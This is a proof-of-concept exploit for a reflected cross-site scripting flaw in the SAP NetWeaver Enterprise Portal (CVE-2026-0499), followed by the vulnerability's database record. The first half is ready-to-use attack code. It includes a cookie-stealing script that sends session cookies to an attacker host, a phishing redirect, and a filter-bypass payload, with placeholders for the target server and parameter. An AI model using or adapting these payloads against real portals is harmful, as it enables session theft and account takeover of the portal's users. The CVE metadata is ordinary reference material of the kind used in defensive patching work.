CVE-2026-0499

<!-- CVE-2026-0499 PoC - Reflected XSS in SAP NetWeaver Enterprise Portal --> <!-- This PoC demonstrates the XSS vulnerability by injecting a simple alert payload --> <!-- Basic XSS PoC --> https://[SAP_SERVER]/irj/portal?[PARAM]=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E <!-- More sophisticated PoC for session hijacking --> <script> // Steal session cookies var cookies = document.cookie; var img = new Image(); img.src = 'https://attacker.com/steal?c=' + encodeURIComponent(cookies); // Alternatively, redirect to malicious site // window.location.href = 'https://attacker.com/phishing'; </script> <!-- Encoded version to bypass some filters --> https://[SAP_SERVER]/irj/portal?[PARAM]=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E <!-- Note: Replace [SAP_SERVER] and [PARAM] with actual target server and vulnerable parameter -->

{"cve": {"id": "CVE-2026-0499", "sourceIdentifier": "[email protected]", "published": "2026-01-13T02:15:52.467", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP NetWeaver Enterprise Portal allows an unauthenticated attacker to inject malicious scripts into a URL parameter. The scripts are reflected in the server response and executed in a user's browser when the crafted URL is visited, leading to theft of session information, manipulation of portal content, or user redirection, resulting in a low impact on the application's confidentiality and integrity, with no impact on availability."}, {"lang": "es", "value": "SAP NetWeaver Enterprise Portal permite a un atacante no autenticado inyectar scripts maliciosos en un parámetro de URL. Los scripts se reflejan en la respuesta del servidor y se ejecutan en el navegador de un usuario cuando se visita la URL manipulada, lo que lleva al robo de información de sesión, manipulación del contenido del portal o redirección del usuario, resultando en un bajo impacto en la confidencialidad e integridad de la aplicación, sin impacto en la disponibilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://me.sap.com/notes/3687372", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}